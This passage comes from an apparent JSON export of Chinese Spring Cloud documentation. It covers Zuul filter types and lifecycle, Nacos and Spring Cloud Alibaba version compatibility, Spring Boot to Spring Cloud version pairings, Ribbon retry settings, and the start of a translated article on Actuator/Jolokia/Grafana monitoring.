shouldFilter：返回一个boolean类型来判断该过滤器是否要执行。我们可以通过此方法来指定过滤器的有效范围。\n- run：过滤器的具体逻辑。在该函数中，我们可以实现自定义的过滤逻辑，来确定是否要拦截当前的请求，不对其进行后续的路由，或是在请求路由返回结果之后，对处理结果做一些加工等。\n\n## 请求生命周期\n\n上一节中，对于Spring Cloud Zuul中的过滤器类型filterType，我们已经做过一些简单的介绍，Zuul默认定义了四个不同的过滤器类型，它们覆盖了一个外部HTTP请求到达API网关，直到返回请求结果的全部生命周期。下图源自Zuul的官方WIKI中关于请求生命周期的图解，它描述了一个HTTP请求到达API网关之后，如何在各个不同类型的过滤器之间流转的详细过程。\n\n[![请求生命周期官方图解](http://blog.didispace.com/content/images/2016/07/687474703a2f2f6e6574666c69782e6769746875622e696f2f7a75756c2f696d616765732f7a75756c2d726571756573742d6c6966656379636c652e706e67.png)](http://blog.didispace.com/content/images/2016/07/687474703a2f2f6e6574666c69782e6769746875622e696f2f7a75756c2f696d616765732f7a75756c2d726571756573742d6c6966656379636c652e706e67.png)请求生命周期官方图解\n\n从上图中，我们可以看到，当外部HTTP请求到达API网关服务的时候，首先它会进入第一个阶段pre，在这里它会被pre类型的过滤器进行处理，该类型的过滤器主要目的是在进行请求路由之前做一些前置加工，比如请求的校验等。在完成了pre类型的过滤器处理之后，请求进入第二个阶段routing，也就是之前说的路由请求转发阶段，请求将会被routing类型过滤器处理，这里的具体处理内容就是将外部请求转发到具体服务实例上去的过程，当服务实例将请求结果都返回之后，routing阶段完成，请求进入第三个阶段post，此时请求将会被post类型的过滤器进行处理，这些过滤器在处理的时候不仅可以获取到请求信息，还能获取到服务实例的返回信息，所以在post类型的过滤器中，我们可以对处理结果进行一些加工或转换等内容。另外，还有一个特殊的阶段error，该阶段只有在上述三个阶段中发生异常的时候才会触发，但是它的最后流向还是post类型的过滤器，因为它需要通过post过滤器将最终结果返回给请求客户端（实际实现上还有一些差别，后续介绍）。\n\n## 核心过滤器\n\n在Spring Cloud Zuul中，为了让API网关组件可以更方便的上手使用，它在HTTP请求生命周期的各个阶段默认地实现了一批核心过滤器，它们会在API网关服务启动的时候被自动地加载和启用。我们可以在源码中查看和了解它们，它们定义于spring-cloud-netflix-core模块的org.springframework.cloud.netflix.zuul.filters包下。\n\n[![默认实现的核心过滤器](https://blog.didispace.com/assets/zuul-default-filter.png)](https://blog.didispace.com/assets/zuul-default-filter.png)默认实现的核心过滤器\n\n如上图所示，在默认启用的过滤器中包含了三种不同生命周期的过滤器，这些过滤器都非常重要，可以帮助我们理解Zuul对外部请求处理的过程，以及帮助我们如何在此基础上扩展过滤器去完成自身系统需要的功能。下面，我们将逐个地对这些过滤器做一些详细的介绍：\n\n#### pre过滤器\n\n- ServletDetectionFilter：它的执行顺序为-3，是最先被执行的过滤器。该过滤器总是会被执行，主要用来检测当前请求是通过Spring的DispatcherServlet处理运行，还是通过ZuulServlet来处理运行的。它的检测结果会以布尔类型保存在当前请求上下文的isDispatcherServletRequest参数中，这样在后续的过滤器中，我们就可以通过RequestUtils.isDispatcherServletRequest()和RequestUtils.isZuulServletRequest()方法判断它以实现做不同的处理。一般情况下，发送到API网关的外部请求都会被Spring的DispatcherServlet处理，除了通过/zuul/*路径访问的请求会绕过DispatcherServlet，被ZuulServlet处理，主要用来应对处理大文件上传的情况。另外，对于ZuulServlet的访问路径/zuul/*，我们可以通过zuul.servletPath参数来进行修改。\n- Servlet30WrapperFilter：它的执行顺序为-2，是第二个执行的过滤器。目前的实现会对所有请求生效，主要为了将原始的HttpServletRequest包装成Servlet30RequestWrapper对象。\n- FormBodyWrapperFilter：它的执行顺序为-1，是第三个执行的过滤器。该过滤器仅对两种类请求生效，第一类是Content-Type为application/x-www-form-urlencoded的请求，第二类是Content-Type为multipart/form-data并且是由Spring的DispatcherServlet处理的请求（用到了ServletDetectionFilter的处理结果）。而该过滤器的主要目的是将符合要求的请求体包装成FormBodyRequestWrapper对象。\n- DebugFilter：它的执行顺序为1，是第四个执行的过滤器。该过滤器会根据配置参数zuul.debug.request和请求中的debug参数来决定是否执行过滤器中的操作。而它的具体操作内容则是将当前的请求上下文中的debugRouting和debugRequest参数设置为true。由于在同一个请求的不同生命周期中，都可以访问到这两个值，所以我们在后续的各个过滤器中可以利用这两值来定义一些debug信息，这样当线上环境出现问题的时候，可以通过请求参数的方式来激活这些debug信息以帮助分析问题。另外，对于请求参数中的debug参数，我们也可以通过zuul.debug.parameter来进行自定义。\n- PreDecorationFilter：它的执行顺序为5，是pre阶段最后被执行的过滤器。该过滤器会判断当前请求上下文中是否存在forward.to和serviceId参数，如果都不存在，那么它就会执行具体过滤器的操作（如果有一个存在的话，说明当前请求已经被处理过了，因为这两个信息就是根据当前请求的路由信息加载进来的）。而它的具体操作内容就是为当前请求做一些预处理，比如：进行路由规则的匹配、在请求上下文中设置该请求的基本信息以及将路由匹配结果等一些设置信息等，这些信息将是后续过滤器进行处理的重要依据，我们可以通过RequestContext.getCurrentContext()来访问这些信息。另外，我们还可以在该实现中找到一些对HTTP头请求进行处理的逻辑，其中包含了一些耳熟能详的头域，比如：X-Forwarded-Host、X-Forwarded-Port。另外，对于这些头域的记录是通过zuul.addProxyHeaders参数进行控制的，而这个参数默认值为true，所以Zuul在请求跳转时默认地会为请求增加X-Forwarded-*头域，包括：X-Forwarded-Host、X-Forwarded-Port、X-Forwarded-For、X-Forwarded-Prefix、X-Forwarded-Proto。我们也可以通过设置zuul.addProxyHeaders=false关闭对这些头域的添加动作。\n\n> [《Spring Cloud实战小贴士：Zuul处理Cookie和重定向》](http://blog.didispace.com/spring-cloud-zuul-cookie-redirect/) 一文中提到的加载敏感头信息加入到忽略头信息的操作调用就在PreDecorationFilter过滤器中实现。\n\n#### route过滤器\n\n- RibbonRoutingFilter：它的执行顺序为10，是route阶段第一个执行的过滤器。该过滤器只对请求上下文中存在serviceId参数的请求进行处理，即只对通过serviceId配置路由规则的请求生效。而该过滤器的执行逻辑就是面向服务路由的核心，它通过使用Ribbon和Hystrix来向服务实例发起请求，并将服务实例的请求结果返回。\n- SimpleHostRoutingFilter：它的执行顺序为100，是route阶段第二个执行的过滤器。该过滤器只对请求上下文中存在routeHost参数的请求进行处理，即只对通过url配置路由规则的请求生效。而该过滤器的执行逻辑就是直接向routeHost参数的物理地址发起请求，从源码中我们可以知道该请求是直接通过httpclient包实现的，而没有使用Hystrix命令进行包装，所以这类请求并没有线程隔离和断路器的保护。\n- SendForwardFilter：它的执行顺序为500，是route阶段第三个执行的过滤器。该过滤器只对请求上下文中存在forward.to参数的请求进行处理，即用来处理路由规则中的forward本地跳转配置。\n\n#### post过滤器\n\n- SendErrorFilter：它的执行顺序为0，是post阶段第一个执行的过滤器。该过滤器仅在请求上下文中包含error.status_code参数（由之前执行的过滤器设置的错误编码）并且还没有被该过滤器处理过的时候执行。而该过滤器的具体逻辑就是利用请求上下文中的错误信息来组织成一个forward到API网关/error错误端点的请求来产生错误响应。\n- SendResponseFilter：它的执行顺序为1000，是post阶段最后执行的过滤器。该过滤器会检查请求上下文中是否包含请求响应相关的头信息、响应数据流或是响应体，只有在包含它们其中一个的时候就会执行处理逻辑。而该过滤器的处理逻辑就是利用请求上下文的响应信息来组织需要发送回客户端的响应内容。\n\n**这里不列出具体代码了，读者可自行根据类名来查看源码了解详细处理过程。**下图是对上述过滤器根据顺序、名称、功能、类型做了综合的整理，可以帮助我们在自定义过滤器或是扩展过滤器的时候用来参考并全面地考虑整个请求生命周期的处理过程。\n\n[![核心过滤器总结](https://blog.didispace.com/assets/zuul-filter-core.png)](https://blog.didispace.com/assets/zuul-filter-core.png)核心过滤器总结"
  },
  {
    "path": "jun_springcloud_plugin/doc/Spring cloud alibaba之Nacos 系统版本兼容性.md",
    "content": "# Spring cloud alibaba之Nacos 系统版本兼容性\n\n# 组件版本关系\n\n由于Spring cloud alibaba已经完成了孵化，因此不建议使用孵化期版本的Spring cloud alibaba版本。\n\nspring boot 2.3.x的版本已经发布建议不要使用最新版，尽量的使用兼容版。\n\n> 经过测试 spirng cloud alibaba 2.2.1.RELEASE版本是兼容spring boot 2.9.1版本的\n\n| Spring Cloud Alibaba Version                    | Sentinel Version | Nacos Version | RocketMQ Version | Dubbo Version | Seata Version |\n| ----------------------------------------------- | ---------------- | ------------- | ---------------- | ------------- | ------------- |\n| 2.2.1.RELEASE                                   | 1.7.1            | 1.2.1         | 4.4.0            | 2.7.6         | 1.1.0         |\n| 2.2.0.RELEASE                                   | 1.7.1            | 1.1.4         | 4.4.0            | 2.7.4.1       | 1.0.0         |\n| 2.1.2.RELEASE or 2.0.2.RELEASE                  | 1.7.1            | 1.2.1         | 4.4.0            | 2.7.6         | 1.1.0         |\n| 2.1.1.RELEASE or 2.0.1.RELEASE or 1.5.1.RELEASE | 1.7.0            | 1.1.4         | 4.4.0            | 2.7.3         | 0.9.0         |\n| 2.1.0.RELEASE or 2.0.0.RELEASE or 1.5.0.RELEASE | 1.6.3            | 1.1.1         | 4.4.0            | 2.7.3         | 0.7.1         |\n\n## 毕业版本依赖关系(推荐使用)\n\n| Spring Cloud Version        | Spring Cloud Alibaba Version | Spring Boot Version |\n| --------------------------- | ---------------------------- | ------------------- |\n| Spring Cloud Hoxton.SR3     | 2.2.1.RELEASE                | 2.2.5.RELEASE       |\n| Spring Cloud Hoxton.RELEASE | 2.2.0.RELEASE                | 2.2.X.RELEASE       |\n| Spring Cloud Greenwich      | 2.1.2.RELEASE                | 2.1.X.RELEASE       |\n| Spring Cloud Finchley       | 2.0.2.RELEASE                | 2.0.X.RELEASE       |\n| Spring Cloud Edgware        | 1.5.1.RELEASE                | 1.5.X.RELEASE       |\n\n## 依赖管理\n\nSpring Cloud Alibaba BOM 包含了它所使用的所有依赖的版本。\n\n### RELEASE 版本\n\n#### Spring Cloud Hoxton\n\n如果需要使用 Spring Cloud Hoxton 版本，请在 dependencyManagement 中添加如下内容\n\n\n\n```xml\n<dependency>\n    <groupId>com.alibaba.cloud</groupId>\n    <artifactId>spring-cloud-alibaba-dependencies</artifactId>\n    <version>2.2.1.RELEASE</version>\n    <type>pom</type>\n    <scope>import</scope>\n</dependency>\n```\n\n#### Spring Cloud Greenwich\n\n如果需要使用 Spring Cloud Greenwich 版本，请在 dependencyManagement 中添加如下内容\n\n\n\n```xml\n<dependency>\n    <groupId>com.alibaba.cloud</groupId>\n    <artifactId>spring-cloud-alibaba-dependencies</artifactId>\n    <version>2.1.2.RELEASE</version>\n    <type>pom</type>\n    <scope>import</scope>\n</dependency>\n```\n\n#### Spring Cloud Finchley\n\n如果需要使用 Spring Cloud Finchley 版本，请在 dependencyManagement 中添加如下内容\n\n\n\n```xml\n<dependency>\n    <groupId>com.alibaba.cloud</groupId>\n    <artifactId>spring-cloud-alibaba-dependencies</artifactId>\n    <version>2.0.2.RELEASE</version>\n    <type>pom</type>\n    <scope>import</scope>\n</dependency>\n```\n\n#### Spring Cloud Edgware\n\n如果需要使用 Spring Cloud Edgware 版本，请在 dependencyManagement 中添加如下内容\n\n\n\n```xml\n<dependency>\n    <groupId>com.alibaba.cloud</groupId>\n    <artifactId>spring-cloud-alibaba-dependencies</artifactId>\n    <version>1.5.1.RELEASE</version>\n    <type>pom</type>\n    <scope>import</scope>\n</dependency>\n```\n\n| name                          | description                     | option                                 |\n| ----------------------------- | ------------------------------- | -------------------------------------- |\n| MODE                          | cluster模式/standalone模式      | cluster/standalone default **cluster** |\n| NACOS_SERVERS                 | nacos cluster地址               | eg. ip1,ip2,ip3                        |\n| PREFER_HOST_MODE              | 是否支持hostname                | hostname/ip default **ip**             |\n| NACOS_SERVER_PORT             | nacos服务器端口                 | default **8848**                       |\n| NACOS_SERVER_IP               | 多网卡下的自定义nacos服务器IP   |                                        |\n| SPRING_DATASOURCE_PLATFORM    | standalone 支持 mysql           | mysql / empty default empty            |\n| MYSQL_MASTER_SERVICE_HOST     | mysql 主节点host                |                                        |\n| MYSQL_MASTER_SERVICE_PORT     | mysql 主节点端口                | default : **3306**                     |\n| MYSQL_MASTER_SERVICE_DB_NAME  | mysql 主节点数据库              |                                        |\n| MYSQL_MASTER_SERVICE_USER     | 数据库用户名                    |                                        |\n| MYSQL_MASTER_SERVICE_PASSWORD | 数据库密码                      |                                        |\n| MYSQL_SLAVE_SERVICE_HOST      | mysql从节点host                 |                                        |\n| MYSQL_SLAVE_SERVICE_PORT      | mysql从节点端口                 | default :3306                          |\n| MYSQL_DATABASE_NUM            | 数据库数量                      | default :2                             |\n| JVM_XMS                       | -Xms                            | default :2g                            |\n| JVM_XMX                       | -Xmx                            | default :2g                            |\n| JVM_XMN                       | -Xmn                            | default :1g                            |\n| JVM_MS                        | -XX:MetaspaceSize               | default :128m                          |\n| JVM_MMS                       | -XX:MaxMetaspaceSize            | default :320m                          |\n| NACOS_DEBUG                   | 开启远程调试                    | y/n default :n                         |\n| TOMCAT_ACCESSLOG_ENABLED      | server.tomcat.accesslog.enabled | default :false                         |\n\n"
  },
  {
    "path": "jun_springcloud_plugin/doc/SpringBoot与SpringCloud的版本对应详细版.md",
    "content": "# SpringBoot与SpringCloud的版本对应详细版\n\n\n\n**缘起**\n\n初学spring cloud的朋友可能不知道，其实SpringBoot与SpringCloud需要版本对应，否则可能会造成很多意料之外的错误，比如eureka注册了结果找不到服务类啊，比如某些jar导入不进来啊，等等这些错误。下面列出来springBoot和spring cloud的版本对应关系，需要配套使用，才不会出现各种奇怪的错误。\n\n**关于maven仓库的版本列表**\n\nspring-cloud-dependencies 版本列表可查看：\nhttps://mvnrepository.com/artifact/org.springframework.cloud/spring-cloud-dependencies\nspring-boot-starter-parent 版本列表可查看：\nhttps://mvnrepository.com/artifact/org.springframework.boot/spring-boot-starter-parent\n\n**版本对应关系**\n\n大版本对应：\n\n\n\n| Spring Cloud             | Spring Boot                                    |\n| :----------------------- | :--------------------------------------------- |\n| Angel版本                | 兼容Spring Boot 1.2.x                          |\n| Brixton版本              | 兼容Spring Boot 1.3.x，也兼容Spring Boot 1.4.x |\n| Camden版本               | 兼容Spring Boot 1.4.x，也兼容Spring Boot 1.5.x |\n| Dalston版本、Edgware版本 | 兼容Spring Boot 1.5.x，不兼容Spring Boot 2.0.x |\n| Finchley版本             | 兼容Spring Boot 2.0.x，不兼容Spring Boot 1.5.x |\n| Greenwich版本            | 兼容Spring Boot 2.1.x                          |\n| Hoxtonl版本              | 兼容Spring Boot 2.2.x                          |\n\n\n\n在实际开发过程中，我们需要更详细的版本对应：\n\n\n\n| *Spring Boot*                | *Spring Cloud*          |\n| :--------------------------- | :---------------------- |\n| 1.5.2.RELEASE                | Dalston.RC1             |\n| **1.5.9.RELEASE**            | **Edgware.RELEASE**     |\n| 2.0.2.RELEASE                | Finchley.BUILD-SNAPSHOT |\n| **2.0.3.RELEASE**            | **Finchley.RELEASE**    |\n| 2.1.0.RELEASE-2.1.14.RELEASE | Greenwich.SR5           |\n| **2.2.0.M4**                 | **Hoxton.SR4**          |\n\n\n\n**关于spring cloud1.x版本和2.x版本区别**\n\nspring cloud各个版本之间是有所区别的，比如在SpringCloud中，1.X和2.X版本在pom.xml中引入的jar包名字都不一样，比如有的叫spirng-cloud-starter-hystrix 有的叫spring-cloud-netflix-hystrix，维护起来会比较困难。\n\n1.x版本pom.xml里几个基本用到的jar长这样：\n\n```xml\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n      xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n      xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n      <modelVersion>4.0.0</modelVersion>\n      <groupId>com.joyce</groupId>\n      <artifactId>joyce-test</artifactId>\n      <version>1.0</version>\n      <packaging>jar</packaging>\n     \n      <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>1.5.9.RELEASE</version>\n        <relativePath /> \n      </parent>\n       \n      <dependencyManagement>\n        <dependencies>\n          <dependency>\n            <groupId>org.springframework.cloud</groupId>\n            <artifactId>spring-cloud-dependencies</artifactId>\n            <version>Edgware.RELEASE</version>\n            <type>pom</type>\n            <scope>import</scope>\n          </dependency>\n        </dependencies>\n      </dependencyManagement>\n       \n      <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n      </properties>\n     \n      <dependencies>\n        <dependency>\n          <groupId>org.springframework.cloud</groupId>\n          <artifactId>spring-cloud-starter-feign</artifactId>\n        </dependency>\n        <dependency>\n          <groupId>org.springframework.cloud</groupId>\n          <artifactId>spring-cloud-starter-hystrix</artifactId>\n        </dependency>\n        <dependency>\n          <groupId>org.springframework.cloud</groupId>\n          <artifactId>spring-cloud-starter-zipkin</artifactId>\n        </dependency>\n        <dependency>\n          <groupId>org.springframework.cloud</groupId>\n          <artifactId>spring-cloud-starter-eureka</artifactId>\n        </dependency>\n        <dependency>\n          <groupId>org.springframework.boot</groupId>\n          <artifactId>spring-boot-starter-actuator</artifactId>\n        </dependency>\n        <dependency>\n          <groupId>org.springframework.boot</groupId>\n          <artifactId>spring-boot-starter-web</artifactId>\n          <exclusions>\n            <!-- 排除spring boot默认使用的tomcat，使用jetty -->\n            <exclusion>\n              <groupId>org.springframework.boot</groupId>\n              <artifactId>spring-boot-starter-tomcat</artifactId>\n            </exclusion>\n          </exclusions>\n        </dependency>\n        <dependency>\n          <groupId>org.springframework.boot</groupId>\n          <artifactId>spring-boot-starter-jetty</artifactId>\n        </dependency>\n        <dependency>\n          <groupId>org.springframework.cloud</groupId>\n          <artifactId>spring-cloud-starter-ribbon</artifactId>\n        </dependency>\n        <dependency>\n          <groupId>org.springframework.boot</groupId>\n          <artifactId>spring-boot-starter-test</artifactId>\n          <scope>test</scope>\n        </dependency>\n      </dependencies>\n    </project>\n```\n\n而在2.x版本中，比如我们需要eureka,去maven仓库中可能会看到deprecated, please use spring-cloud-starter-netflix-eureka-client这类提示，包括使用ribbon也会有\n\n![在这里插入图片描述](https://img.jbzj.com/file_images/article/202009/2020091609493528.png)\n\n![在这里插入图片描述](https://img.jbzj.com/file_images/article/202009/2020091609493529.png)\n\n所以个人猜测2.x中统一用\nspring-cloud-starter-netflix-xx 替换了原有的 spring-cloud-starter-xx(此处如有不正确请指出)\n所以2.x的版本pom.xml类似如下这样\n\n```xml\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n     xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n \n  <groupId>com.forezp</groupId>\n  <artifactId>service-feign</artifactId>\n  <version>0.0.1-SNAPSHOT</version>\n  <packaging>jar</packaging>\n \n  <name>service-feign</name>\n  <description>Demo project for Spring Boot</description>\n \n \n  <parent>\n    <groupId>com.forezp</groupId>\n    <artifactId>sc-f-chapter3</artifactId>\n    <version>0.0.1-SNAPSHOT</version>\n  </parent>\n \n  <dependencies>\n    <dependency>\n      <groupId>org.springframework.cloud</groupId>\n      <artifactId>spring-cloud-starter-netflix-eureka-client</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.springframework.boot</groupId>\n      <artifactId>spring-boot-starter-web</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.springframework.cloud</groupId>\n      <artifactId>spring-cloud-starter-openfeign</artifactId>\n    </dependency>\n  </dependencies>\n   \n  </project>\n```\n\n\n\n![img](https://img2018.cnblogs.com/blog/1097754/201909/1097754-20190907205906233-2071872814.png)\n\n \n\n 手动记录一些经本人实际验证可行的版本对应：\n\n| 序号 | 版本对应                                                     |\n| ---- | ------------------------------------------------------------ |\n| 1    | <spring-boot.version>2.4.2</spring-boot.version> <spring-cloud.version>2020.0.0</spring-cloud.version> |\n| 2    | <spring-boot.version>2.4.1</spring-boot.version> <spring-cloud.version>2020.0.0-M6</spring-cloud.version> |\n| 3    | <spring-boot.version>2.4.0</spring-boot.version> <spring-cloud.version>2020.0.0-M6</spring-cloud.version> |\n| 4    | <spring-boot.version>2.3.2.RELEASE</spring-boot.version> <spring-cloud.version>Greenwich.SR2</spring-cloud.version> |\n\n**spring-cloud-dependencies** 版本列表可查看： \n\nhttps://mvnrepository.com/artifact/org.springframework.cloud/spring-cloud-dependencies\n\n**spring-boot-starter-parent** 版本列表可查看：\n\nhttps://mvnrepository.com/artifact/org.springframework.boot/spring-boot-starter-parent\n\n \n\n 到spring官方下载最新的springboot 与 springcloud版本对应代码example:  https://start.spring.io/\n\n end!\n\n"
  },
  {
    "path": "jun_springcloud_plugin/doc/为Spring Cloud Ribbon配置请求重试（Camden.SR2+）.md",
    "content": "# 为Spring Cloud Ribbon配置请求重试（Camden.SR2+）\n\n**原创**\n\n [2016-12-22](https://blog.didispace.com/spring-cloud-ribbon-failed-retry/)\n\n 翟永超\n\n [Spring Cloud](https://blog.didispace.com/categories/Spring-Cloud/)\n\n[【推荐】从业15年的架构师告诉你：如何落地微服务和云原生架构？](https://blog.didispace.com/how-to-implement-microservice-and-cloud-native-architecture/)\n\n当我们使用Spring Cloud Ribbon实现客户端负载均衡的时候，通常都会利用`@LoadBalanced`来让`RestTemplate`具备客户端负载功能，从而实现面向服务名的接口访问（原理可见[《Spring Cloud源码分析（二）Ribbon》](http://blog.didispace.com/springcloud-sourcecode-ribbon/)一文，如果对Spring Cloud中使用Ribbon进行服务消费还没有概念的话，建议先阅读[《Spring Cloud构建微服务架构（二）服务消费者》](http://blog.didispace.com/springcloud2/)一文。）。\n\n下面的例子，实现了对服务名为`hello-service`的`/hello`接口的调用。由于`RestTemplate`被`@LoadBalanced`修饰，所以它具备客户端负载均衡的能力，当请求真正发起的时候，url中的服务名会根据负载均衡策略从服务清单中挑选出一个实例来进行访问。\n\n```\n@SpringCloudApplication\npublic class Application {\n\n\t@Bean\n\t@LoadBalanced\n\tRestTemplate restTemplate() {\n\t\treturn new RestTemplate();\n\t}\n\n\t@RestController\n\tclass ConsumerController {\n\n\t\t@Autowired\n\t\tRestTemplate restTemplate;\n\n\t\t@RequestMapping(value = \"/ribbon-consumer\", method = RequestMethod.GET)\n\t\tpublic String helloConsumer() {\n\t\t\treturn restTemplate.getForObject(\"http://hello-service/hello\", String.class);\n\t\t}\n\n\t}\n\t\n\tpublic static void main(String[] args) {\n\t\tSpringApplication.run(ConsumerApplication.class, args);\n\t}\n\n}\n```\n\n大多数情况下，上面的实现没有任何问题，但是总有一些意外发生，比如：有一个实例发生了故障而该情况还没有被服务治理机制及时的发现和摘除，这时候客户端访问该节点的时候自然会失败。所以，为了构建更为健壮的应用系统，我们希望当请求失败的时候能够有一定策略的重试机制，而不是直接返回失败。这个时候就需要开发人员人工的来为上面的`RestTemplate`调用实现重试机制。\n\n不过，从**Spring Cloud Camden SR2**版本开始，我们就不用那么麻烦了。从该版本开始，Spring Cloud整合了Spring Retry来实现重试逻辑，而对于开发者只需要做一些配置即可。\n\n以上面对`hello-service`服务的调用为例，我们可以在配置文件中增加如下内容：\n\n```\nspring.cloud.loadbalancer.retry.enabled=true\n\nhystrix.command.default.execution.isolation.thread.timeoutInMilliseconds=10000\n\nhello-service.ribbon.ConnectTimeout=250\nhello-service.ribbon.ReadTimeout=1000\nhello-service.ribbon.OkToRetryOnAllOperations=true\nhello-service.ribbon.MaxAutoRetriesNextServer=2\nhello-service.ribbon.MaxAutoRetries=1\n```\n\n各参数的配置说明：\n\n- `spring.cloud.loadbalancer.retry.enabled`：该参数用来开启重试机制，它默认是关闭的。这里需要注意，官方文档中的配置参数少了`enabled`。\n\n  [![img](https://blog.didispace.com/assets/CAMDEN-SR2-RETRY.png)](https://blog.didispace.com/assets/CAMDEN-SR2-RETRY.png)\n\n  源码定义如下：\n\n  ```\n  @ConfigurationProperties(\"spring.cloud.loadbalancer.retry\")\n  public class LoadBalancerRetryProperties {\n      private boolean enabled = false;\n   \t... \n  }\n  ```\n\n- `hystrix.command.default.execution.isolation.thread.timeoutInMilliseconds`：断路器的超时时间需要大于ribbon的超时时间，不然不会触发重试。\n\n- `hello-service.ribbon.ConnectTimeout`：请求连接的超时时间\n\n- `hello-service.ribbon.ReadTimeout`：请求处理的超时时间\n\n- `hello-service.ribbon.OkToRetryOnAllOperations`：对所有操作请求都进行重试\n\n- `hello-service.ribbon.MaxAutoRetriesNextServer`：切换实例的重试次数\n\n- `hello-service.ribbon.MaxAutoRetries`：对当前实例的重试次数\n\n根据如上配置，当访问到故障请求的时候，它会再尝试访问一次当前实例（次数由`MaxAutoRetries`配置），如果不行，就换一个实例进行访问，如果还是不行，再换一次实例访问（更换次数由`MaxAutoRetriesNextServer`配置），如果依然不行，返回失败信息。"
  },
  {
    "path": "jun_springcloud_plugin/doc/使用Spring Boot Actuator、Jolokia和Grafana实现准实时监控.md",
    "content": "# 使用Spring Boot Actuator、Jolokia和Grafana实现准实时监控\n\n**原创**\n\n [2017-02-26](https://blog.didispace.com/spring-boot-jolokia-grafana-monitor/)\n\n 翟永超\n\n [Spring Boot](https://blog.didispace.com/categories/Spring-Boot/)\n\n[【推荐】从业15年的架构师告诉你：如何落地微服务和云原生架构？](https://blog.didispace.com/how-to-implement-microservice-and-cloud-native-architecture/)\n\n> 由于最近在做监控方面的工作，因此也读了不少相关的经验分享。其中有这样一篇文章总结了一些基于Spring Boot的监控方案，因此翻译了一下，希望可以对大家有所帮助。\n>\n> 原文：[Near real-time monitoring charts with Spring Boot Actuator, Jolokia and Grafana](https://medium.com/@brunosimioni/near-real-time-monitoring-charts-with-spring-boot-actuator-jolokia-and-grafana-1ce267c50bcc#.il5xmlnv7)\n\nSpring Boot Actuator通过`/metrics`端点，以开箱即用的方式为应用程序的性能指标与响应统计提供了一个非常友好的监控方式。\n\n由于在集群化的弹性环境中，应用程序的节点可以增长、扩展，并由非常大量的应用实例所组成。对于孤立节点的监控可能即费力又没有什么实际效果。所以，使用基于时间序列的数据聚合工具将获得更好的效果。\n\n本文的目标在于找出一种仅需要通过工具和配置的方式就能实现的解决方案，来对Spring Boot Metrics实现基于时间序列的监控。\n\n像NewRelic, AppDynamics或DataDog这些APM系统都能很好地完成这样的任务，它们通过使用JVM和字节码工具来生成自己的指标、分析工具和相关事务。也可以通过使用`@Timed`注释方法来实现。但是，这些方法将忽略所有Spring Boot Actuator库所提供的可用资源。另外，使用这些方法还有一个与保留数据相关的问题，它们对于短时间窗口内的监控是相对模糊的。\n\n[![NewRelic在1分钟时间窗口内被发现和检测的事务](https://blog.didispace.com/assets/1-W_O7bNYmgarjHNasow-PsQ.png)](https://blog.didispace.com/assets/1-W_O7bNYmgarjHNasow-PsQ.png)NewRelic在1分钟时间窗口内被发现和检测的事务\n\n`spring-boot-admin` 可以作为另外一个备选方案，因为它可以连接到Spring Boot的实例、并且可以聚合节点等。但是， `/metrics` 端点并不是根据时间轴来进行监控的，同时在不同节点上的相同应用模块（水平扩展）也没有得到聚合。这意味着您将面对这两种情况：没有时间序列的监控数据、只有对孤立节点的监控数据快照。\n\n[![Spring Boot Admin with metrics from Actuator: a snapshot of metrics data of a given application node](https://blog.didispace.com/assets/1-KK_x2uD66NIIIfmyFIraEg.png)](https://blog.didispace.com/assets/1-KK_x2uD66NIIIfmyFIraEg.png)Spring Boot Admin with metrics from Actuator: a snapshot of metrics data of a given application node\n\n[![Spring Boot Admin with JMX and MBeans read data of a give application node](https://blog.didispace.com/assets/1-MztwgrZsF2wtXL_OMZCfdQ.png)](https://blog.didispace.com/assets/1-MztwgrZsF2wtXL_OMZCfdQ.png)Spring Boot Admin with JMX and MBeans read data of a give application node\n\n`jconsole`和`visualvm`可能是另外一种选择，它们通过RMI直接连接到JMX节点。Actuator存储来自JMX的MBean内的Metrics数据。另外，通过使用 [Jolokia](https://jolokia.org/)，MBeans以RESTful HTTP端点的方式暴露，`/jolokia`。所以，相同的信息可以通过两个端点来获取：JMX MBean Metrics和Rest HTTP Jolokia端点。然而，这种方式存在同样的问题，它们直接连接到集群环境中的单个节点，另外还伴随着痛苦的老式RMI协议。\n\n[![JConsole old-school JMX Metrics of a given application node](https://blog.didispace.com/assets/1-NOkLUyGMydiFYYotF2rKQ.png)](https://blog.didispace.com/assets/1-NOkLUyGMydiFYYotF2rKQ.png)JConsole old-school JMX Metrics of a given application node\n\n[![VisualVM JMX Metrics of a give application node](https://blog.didispace.com/assets/1-mH5Wey1GDlCmDRdZPlHYtg.png)](https://blog.didispace.com/assets/1-mH5Wey1GDlCmDRdZPlHYtg.png)VisualVM JMX Metrics of a give application node\n\n继续前进，我尝试了一些可能可以解决这些问题的现代化运维工具：\n\n- [**Prometheus**](https://prometheus.io/): 由SoundCloud编写，它存储一系列的监控数据并赋予漂亮的图标展现。Prometheus Gauges和Actuator Metrics并不完全兼容，所以人们写了 [一个数据转换器](https://github.com/prometheus/client_java/pull/114)。你也可以配置Prometheus来收集JMX数据。\n- [**Sensu**](https://sensuapp.org/): 作为Nagios和Zabbix的现代化替代品，它有一个插件可以直接连接到Spring Boot，[但是这个仓库最近已经不太更新了](https://github.com/sensu-plugins/sensu-plugins-springboot)，所以我决定放弃它。\n- [**StatsD**](https://github.com/etsy/statsd): Spring Boot有一篇文章是[关于自定义导出数据给StatsD](http://docs.spring.io/spring-boot/docs/current-SNAPSHOT/reference/htmlsingle/#production-ready-metric-writers-export-to-statsd)。然而，你除了要为Spring Boot应用安装StatsD实例之外，还不得不实现一些存根来让它工作起来。\n- [**Graphite**](http://graphiteapp.org/)**:** You got to be [a hero to install and get Graphite](https://graphite.readthedocs.io/en/latest/install.html) running. If you get there, [you can configure it along StatsD to get metrics working in a chart](https://matt.aimonetti.net/posts/2013/06/26/practical-guide-to-graphite-monitoring/).\n- 